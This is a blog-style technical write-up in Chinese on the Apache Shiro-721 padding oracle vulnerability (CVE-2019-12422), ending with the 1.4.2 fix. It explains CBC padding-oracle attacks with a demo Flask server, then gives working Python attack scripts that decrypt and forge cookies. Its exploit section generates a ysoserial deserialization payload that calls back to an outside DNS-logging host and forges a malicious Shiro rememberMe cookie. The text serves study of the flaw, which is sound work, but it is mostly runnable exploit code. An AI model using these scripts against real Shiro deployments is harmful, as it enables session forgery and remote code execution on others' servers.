Shiro Padding Oracle Attack (shiro-721)

Shiro Padding Oracle Attack (shiro-721)

CVE-2019-12422

padding oracle attack

@Sakii带我学密码.jpg

https://github.com/lcark/padding_oracle_attack/

https://lcark.github.io/2020/04/05/shiro-%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data

https://blog.skullsecurity.org/2013/a-padding-oracle-example

https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth

https://github.com/inspiringz/Shiro-721

https://github.com/AonCyberLabs/PadBuster

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

python 使用 aes :

https://gist.github.com/lopes/168c9d74b988391e702aac5f4aa69e41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from hashlib import md5
from base64 import b64decode
from base64 import b64encode

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad


class AESCipher:
def __init__(self, key):
self.key = md5(key.encode('utf8')).digest()

def encrypt(self, data):
iv = get_random_bytes(AES.block_size)
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return b64encode(iv + self.cipher.encrypt(pad(data.encode('utf-8'), AES.block_size)))

def decrypt(self, data):
raw = b64decode(data)
self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size])
return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)

def fuck():
print('TESTING ENCRYPTION')
msg = "fuck"
pwd = "passwd"
print('Ciphertext:', AESCipher(pwd).encrypt(msg).decode('utf-8'))

cte = "ElJu7k7JA0U+c08vcpB2ryextTYJDR6Ct5zFGlsMgW8="
pwd = "passwd"
print('Message...:', AESCipher(pwd).decrypt(cte).decode('utf-8'))

if __name__ == '__main__':
fuck()
pass

启动 demo server :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request
from base64 import b64decode
from Crypto.Random import get_random_bytes

secret_key = get_random_bytes(AES.block_size)
app = Flask(__name__)

@app.route('/fuck')
def fuck():
data = b64decode(request.cookies['id'].encode())
aes = AES.new(secret_key, AES.MODE_CBC, iv=data[:16])
id = unpad(aes.decrypt(data[16:]), 16).decode("latin1")
return f"Hello {id} !!"

@app.route('/index')
@app.route('/')
def index():
data = "bitch"
iv = get_random_bytes(AES.block_size)
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
b = iv + cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return bytes.hex(b)

if __name__ == "__main__":
app.run()

通过访问 /index ,会得到 data 加密之后密文的 hex ,其中 pad() 默认使用 pkcs7

而访问 /fuck 的时候,会将 cookie 中 的 id 给 base64 decode ,然后进行 aes cbc 解密,而解密得到的明文会通过 unpad 判断 padding 是否正确,如果错误的话就会 throw exception 返回 500 ,如果正确的话就会返回 200

解密任意数据

https://github.com/lcark/padding_oracle_attack/

https://lcark.github.io/2020/04/05/shiro-%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

加密:

1
cipherBlock[i] = encrypt(cipherBlock[i - 1] ^ plainBlock[i])

解密:

1
2
decrypt(cipherBlock[i]) = cipherBlock[i-1] ^ plainBlock[i]
decrypt(cipherBlock[i+1]) = cipherBlock[i] ^ plainBlock[i+1]

我们可以通过改变 cipherBlock[i-1] 来确定decrypt(cipherBlock[i])进而得到明文

首先访问 /index ,拿到 hex :

1
602a4fee8878845a3719ca723cfa7a9ba04e0cc03ad012b80631b969ea9010a4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from padding_oracle_attack import payload_model
import grequests
from requests import Request, Response, get
from grequests import request
from base64 import b64decode,b64encode

class payload(payload_model):
def padding_ok(self, resp:Response) -> bool:
if resp.status_code == 200:
return True
else:
return False

def recover_fake_data(self, req:Request, fake_datas):
for fake_data in fake_datas:
if b64encode(fake_data).decode() == req._cookies.get("id"):
return fake_data
return None

def make_request(self, fake_data) -> request:
cookies = {
"id": b64encode(fake_data).decode()
}

return request("get", "http://127.0.0.1:5000/fuck", cookies=cookies)

if __name__ == "__main__":
m = payload("602a4fee8878845a3719ca723cfa7a9ba04e0cc03ad012b80631b969ea9010a4")
m.run()

image-20220428172925514

加密任意数据:

可以直接 伪造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from h11 import Data
from numpy import byte
from padding_oracle_attack import payload_model
import grequests
from requests import Request, Response, get
from grequests import request
from base64 import b64decode,b64encode

class payload(payload_model):
def padding_ok(self, resp:Response) -> bool:
if resp.status_code == 200:
return True
else:
return False

def recover_fake_data(self, req:Request, fake_datas):
for fake_data in fake_datas:
if b64encode(fake_data).decode() == req._cookies.get("id"):
return fake_data
return None

def make_request(self, fake_data) -> request:
id = b64encode(fake_data).decode()
cookies = {
"id": id
}
return request("get", "http://127.0.0.1:5000/fuck", cookies=cookies)

if __name__ == "__main__":
exp = b"fuck"
m = payload(bytes.hex(exp),fake=True)
m.run()

image-20220428175021447

1
2
3
from base64 import b64encode
b64encode(bytes.fromhex("cbf6a250165b588c06128919bb8e9ae1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"))
# y/aiUBZbWIwGEokZu46a4aqqqqqqqqqqqqqqqqqqqqo=

image-20220428175353618

也可以拼接在其他 block 后面:

shiro721 就是这种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from h11 import Data
from numpy import byte
from padding_oracle_attack import payload_model
import grequests
from requests import Request, Response, get
from grequests import request
from base64 import b64decode,b64encode

class payload(payload_model):
def padding_ok(self, resp:Response) -> bool:
if resp.status_code == 200:
return True
else:
return False

def recover_fake_data(self, req:Request, fake_datas):
for fake_data in fake_datas:
if b64encode(bytes.fromhex("39af74cb5b64cac659b4e9e6a19c15c124d9ce4c5ff4b4497b86caac41c0316c") + fake_data).decode() == req._cookies.get("id"):
return fake_data
return None

def make_request(self, fake_data) -> request:
id = b64encode(bytes.fromhex("39af74cb5b64cac659b4e9e6a19c15c124d9ce4c5ff4b4497b86caac41c0316c") + fake_data).decode()
cookies = {
"id": id
}
return request("get", "http://127.0.0.1:5000/fuck", cookies=cookies)

if __name__ == "__main__":
exp = b"test"
m = payload(bytes.hex(exp),fake=True)
m.run()

image-20220429151904880

1
2
3
from base64 import b64encode
b64encode(bytes.fromhex("00240c2082b3dcb03b8256611bdd76faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"))
# ACQMIIKz3LA7glZhG912+qqqqqqqqqqqqqqqqqqqqqo=
1
2
3
4
5
6
7
8
9
import requests

burp0_url = "http://127.0.0.1:5000/fuck"
burp0_cookies = {"id": "ACQMIIKz3LA7glZhG912+qqqqqqqqqqqqqqqqqqqqqo="}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://wsl.com:5000/", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "cross-site"}
resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
resp.content

# b'Hello test !!'

shiro-721

CVE-2019-12422

https://shiro.apache.org/web.html#remember_me_services

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12422

https://issues.apache.org/jira/browse/SHIRO-721

https://www.anquanke.com/post/id/192819

https://www.anquanke.com/post/id/193165#h3-13

https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/#0x04-%E4%BB%8E%E7%A8%8B%E5%BA%8F%E5%91%98%E8%A7%86%E8%A7%92%E7%9C%8B%E4%BB%A3%E7%A0%81%E9%97%AE%E9%A2%98

影响版本:

shiro721:shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

shiro550 : shiro 在<= 1.2.4 的版本中存在反序列化漏洞,默认情况下会从 rememberMe Cookie 中取值并用硬编码的 cipher key 解密然后进行反序列化

环境搭建

这里用 shiro 1.4.1 :

1
2
3
D:\> git clone https://github.com/apache/shiro.git
D:\> cd .\shiro\
D:\shiro> git checkout shiro-root-1.4.1

然后运行 shiro\samples\web 中的代码

漏洞分析

shiro 1.2.5 之后,cipherKey 不再硬编码在 代码中,shiro 1.4.1 中是随机生成:

image-20220428202534671

也有硬编码在配置文件中的情况:https://doc.yonyoucloud.com/doc/wiki/project/shiro/rememberme.html

rememberMe=deleteMe

对于含有 rememberMe Cookie 的 http 请求,如果发送的 rememberMe Cookie 能被解析成有效的身份标识,则返回的响应中不会有 rememberMe=deleteMe,可以利用这点判断 key 是否正确

注意到 在 rememberMe 中的数据处理出错的时候,response 中 Set-Cookie 字段会有 rememberMe=deleteMe

出错的情况大致有两种:

  1. aes 解密错误(包括 padding 出错)
  2. 数据反序列化报错

image-20220418215223215

而 rememberMe 解析正常的话就没有 :

image-20220428201929564

注意不要带 JSESSIONID

AES-128-CBC

默认情况下,rememberMe 使用的加密算法是 AES-128-CBC

image-20220428203545690

AES-128-CBC 能够被 padding oracle attack 攻击

更多的可以被攻击的算法可以参考:https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth

One final word — and maybe this will help with Google results :) — I’ve tested this successfully against the following ciphers:

  • CAST-cbc
  • aes-128-cbc
  • aes-192-cbc
  • aes-256-cbc
  • bf-cbc
  • camellia-128-cbc
  • camellia-192-cbc
  • camellia-256-cbc
  • cast-cbc
  • cast5-cbc
  • des-cbc
  • des-ede-cbc
  • des-ede3-cbc
  • desx-cbc
  • rc2-40-cbc
  • rc2-64-cbc
  • rc2-cbc
  • seed-cbc

也就是说,如果能分辨 padding 出错与不出错这两种情况,就能在不知道 cipherKey 的情况下,构造能被正常解密的 payload

考虑到 payload 即使在爆破的过程中被成功 padding 了 ,也要保证此时 deserialize() 不能报错,否则没法分辨 padding 成功。因此,理想状态下是无论输入的 rememberMe 是什么, deserialize 都能成功

考虑 AES-128-cbc 的解密过程 和 java 反序列化的算法:

aes-128-cbc 的解密过程可以参考 :http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

1
7B216A634951170F.F851D6CC68FC9537.858795A28ED4AAC6

po_fig4-16511509243641

由上面的链接和图,可以知道, AES-128-CBC 是从密文的开头开始解密的,也就是说如果在一段 密文之后 追加任何合法的 padding ,解密之后 生成的明文 和 追加前生成的明文对比,开头总是不变的。

也就是说 **密文中追加的 padding 被解密后也是追加在原来的明文后面 ,不会影响原来的数据的完整性 **。

而 java 进行反序列化的时候,允许在序列化数据尾部添加任意脏数据,这些数据根本不会被读到,因此不会影响反序列化的正常进行

exploit

改了一下工具代码: https://github.com/1nhann/padding_oracle_attack/commit/cfa094990b11976112274605188ab560084d509a

1
root@ubuntu:~/ubuntu/padding_oracle_attack# ysoserial URLDNS "http://shiro721.abc789.ceye.io" > ser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from padding_oracle_attack import payload_model
from requests import Request, Response, get
from grequests import request
from base64 import b64decode, b64encode
from Crypto.Util.Padding import pad

#shiro-721 payload
class Payload(payload_model):

def __init__(self, data="", fake=False , rememberMe = ""):
super().__init__(data, fake)
self.rememberMe = rememberMe

def padding_ok(self, resp:Response):
if 'deleteMe' in resp.headers["Set-Cookie"]:
return False
else:
return True

def recover_fake_data(self, req:Request, fake_datas):
rememberMe = self.rememberMe
for fake_data in fake_datas:
if b64encode((b64decode(rememberMe) + fake_data)).decode() == req._cookies.get("rememberMe"):
return fake_data
return None

def make_request(self, fake_data) -> request:
rememberMe = self.rememberMe
rememberMe = b64encode((b64decode(rememberMe) + fake_data)).decode()
cookies = {
"rememberMe": rememberMe
}

return request("get", "http://win.com:8080/shiro721", cookies=cookies)

if __name__ == "__main__":
c = "zVDFRNC7qW7UQn1G+Vxz0UupzWXQbfzAe3QAMJOJnNd1FRd3YHKhI8Pk3EkEvGf3Bieo/hiIBtEsibIROHQgS42iJ31iH9UOvL+MnyOMVq6ta5PXAD62YrtP/GsNwvLDMIPaPfPZ/+4LRs2LsoPa/PSU1yj+XkvWA6JDX/zghXS4cOej0bNVO0DlHYnu01G8xmeekEfz9odTBzD/K3n9rEB2OoDShExGxgh3S2bYqA+j0y7BT6+C+LsksJ4OaYr7oc1351U93V5QPgtDsR/u2sqpq6C7afOMaYLXXcDW2P0ILdTp/wV7kMegQ9IZptnqFyrNhf7ffGbqPeVqYbJafwYz00c19TgwZ22fhA4cr/hR81+seWemEwqSAOn3pO67vv6wVsvidDH3klPKrjwi1p+vWjbt/b5ynGmYOxTsfHn/c6MxjAeWE3yTnh8JXP/7f5QNWYmy+AqeDvpa/QVF5SZ6mkeEdHSR7iTRTiNnEIzHpNYnLdNG3yJ6vPmmXQA/"
exp = open("~/ubuntu/padding_oracle_attack/ser", "rb").read()
payload = Payload(bytes.hex(exp), fake=True , rememberMe=c)
data = payload.run()
payload_cookie = b64encode(data).decode()
print("[+] payload cookie :" , payload_cookie)
1
29JBGWm4YXePZ8Nnr3wkulwHRPbTBaqrNbwT9RZ2O6q/tnXeIx5ZcIX5PHGQECehVrzpCFkdXAyweNz6b516U8jSpIGQj55iyYAZvnFHTTpWKoibEmNaaJMlq46Xml45k4WcrWujFPLCZCA4KfYDAzurQX3Pw30v7R//SxJC9tWU13un37EYJZ22mPBg5un2Y4wTS1wfNaL1HIyuXgiNHa/kH5zRNgkrJBXfygcMwv6IPCZMF0KBtAPEoS07AzsNXsdSNpWN5Dz2klucETyFo0pM3bTIUh/o9gz1kT0YJPPIXPdzjA6IDJOQ37ZUT7xU61r7tQgaRKbO+leMatbsWRbNB1b1HVLb/4x/H0eaSe489vfrYStQXMR061TJTJMYeFtgiXkuCdZ8Px7woe+PDaqqqqqqqqqqqqqqqqqqqqo=

image-20220429163817871

image-20220429155143341

触发反序列化 (虽然也有 deleteMe ,但这是 URLDNS 这个 payload 运行是无法避免的):

image-20220429155221474

image-20220429164034758

修复

https://github.com/apache/shiro/compare/shiro-root-1.4.1...shiro-root-1.4.2

1.4.2 之后,默认不再使用 cbc 模式,而是使用 gcm 模式进行加密:

image-20220429162226345